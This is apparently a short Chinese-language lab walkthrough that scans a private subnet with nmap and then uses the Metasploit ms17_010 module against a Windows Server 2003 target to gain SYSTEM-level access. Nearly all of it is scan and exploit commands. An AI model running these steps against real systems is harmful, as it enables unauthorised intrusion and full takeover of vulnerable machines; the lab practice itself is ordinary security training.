主机 渗透

1：kali

靶机：Windows Server 2003

端口扫描

1.用nmap端口扫描靶机

nmap -sP 192.168.157.0/24   #扫描192.168.157.0这个网段存活的主机

靶机的IP为192.168.157.130

2

nmap -sV192.168.157.130 -p-   #-sV 参数用于启用版本检测，192.168.157.130 是目标主机的IP地址，-p- 参数用于扫描所有端口

msfconsole

1. ms17_101  

search ms17_010  #询问有关"ms17_010"的漏洞信息

2.use

use 1 #利用1这个模块

3.options

show options   #列出模块所需的各种参数

4.set

set rhosts 192.168.157.130         # 设置远程目标主机的IP地址为192.168.157.130

5.exploit

exploit   #执行攻击

6.获得system32，Windows最高权限